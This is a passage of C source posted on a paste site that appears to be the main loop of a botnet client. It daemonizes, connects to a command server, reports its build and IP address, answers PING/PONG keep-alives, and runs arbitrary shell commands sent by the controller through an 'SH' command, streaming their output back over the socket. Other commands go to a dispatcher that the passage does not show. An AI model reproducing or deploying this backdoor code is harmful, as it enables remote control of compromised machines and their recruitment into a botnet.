  3633. zprintf("fork failed\n");
  3634. }
  3635.  
  3636. setsid();
  3637. chdir("/");
  3638.  
  3639. signal(SIGPIPE, SIG_IGN);
  3640.  
  3641. while(1)
  3642. {
  3643. if(initConnection()) { sleep(30); continue; }
  3644.  
  3645. sockprintf(mainCommSock, "BUILD %s:%s", getBuild(), inet_ntoa(ourIP));
  3646.  
  3647. char commBuf[4096];
  3648. int got = 0;
  3649. int i = 0;
  3650. while((got = recvLine(mainCommSock, commBuf, 4096)) != -1)
  3651. {
  3652. for (i = 0; i < numpids; i++) if (waitpid(pids[i], NULL, WNOHANG) > 0) {
  3653. unsigned int *newpids, on;
  3654. for (on = i + 1; on < numpids; on++) pids[on-1] = pids[on];
  3655. pids[on - 1] = 0;
  3656. numpids--;
  3657. newpids = (unsigned int*)malloc((numpids + 1) * sizeof(unsigned int));
  3658. for (on = 0; on < numpids; on++) newpids[on] = pids[on];
  3659. free(pids);
  3660. pids = newpids;
  3661. }
  3662.  
  3663. commBuf[got] = 0x00;
  3664.  
  3665. trim(commBuf);
  3666.  
  3667. if(strstr(commBuf, "PING") == commBuf)
  3668. {
  3669. sockprintf(mainCommSock, "PONG");
  3670. continue;
  3671. }
  3672. if(strstr(commBuf, "DUP") == commBuf){
  3673. dupthing++;
  3674. zprintf("PEACE OUT IMMA DUP\n");
  3675. if(dupthing > 20){
  3676. exit(0);
  3677. }
  3678. break;
  3679. }
  3680.  
  3681. unsigned char *message = commBuf;
  3682.  
  3683. if(*message == '!')
  3684. {
  3685. unsigned char *nickMask = message + 1;
  3686. while(*nickMask != ' ' && *nickMask != 0x00) nickMask++;
  3687. if(*nickMask == 0x00) continue;
  3688. *(nickMask) = 0x00;
  3689. nickMask = message + 1;
  3690.  
  3691. message = message + strlen(nickMask) + 2;
  3692. while(message[strlen(message) - 1] == '\n' || message[strlen(message) - 1] == '\r') message[strlen(message) - 1] = 0x00;
  3693.  
  3694. unsigned char *command = message;
  3695. while(*message != ' ' && *message != 0x00) message++;
  3696. *message = 0x00;
  3697. message++;
  3698.  
  3699. unsigned char *tmpcommand = command;
  3700. while(*tmpcommand) { *tmpcommand = toupper(*tmpcommand); tmpcommand++; }
  3701.  
  3702. if(strcmp(command, "SH") == 0)
  3703. {
  3704. unsigned char buf[1024];
  3705. int command;
  3706. if (listFork()) continue;
  3707. memset(buf, 0, 1024);
  3708. szprintf(buf, "%s 2>&1", message);
  3709. command = fdpopen(buf, "r");
  3710. while(fdgets(buf, 1024, command) != NULL)
  3711. {
  3712. trim(buf);
  3713. sockprintf(mainCommSock, "%s", buf);
  3714. memset(buf, 0, 1024);
  3715. sleep(1);
  3716. }
  3717. fdpclose(command);
  3718. exit(0);
  3719. }
  3720.  
  3721. unsigned char *params[10];
  3722. int paramsCount = 1;
  3723. unsigned char *pch = strtok(message, " ");
  3724. params[0] = command;
  3725.  
  3726. while(pch)
  3727. {
  3728. if(*pch != '\n')
  3729. {
  3730. params[paramsCount] = (unsigned char *)malloc(strlen(pch) + 1);
  3731. memset(params[paramsCount], 0, strlen(pch) + 1);
  3732. strcpy(params[paramsCount], pch);
  3733. paramsCount++;
  3734. }
  3735. pch = strtok(NULL, " ");
  3736. }
  3737.  
  3738. processCmd(paramsCount, params);
  3739.  
  3740. if(paramsCount > 1)
  3741. {
  3742. int q = 1;
  3743. for(q = 1; q < paramsCount; q++)
  3744. {
  3745. free(params[q]);
  3746. }
  3747. }
  3748. }
  3749. }
  3750. }
  3751.  
  3752. return 0;
  3753. printf("client exiting");
  3754. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement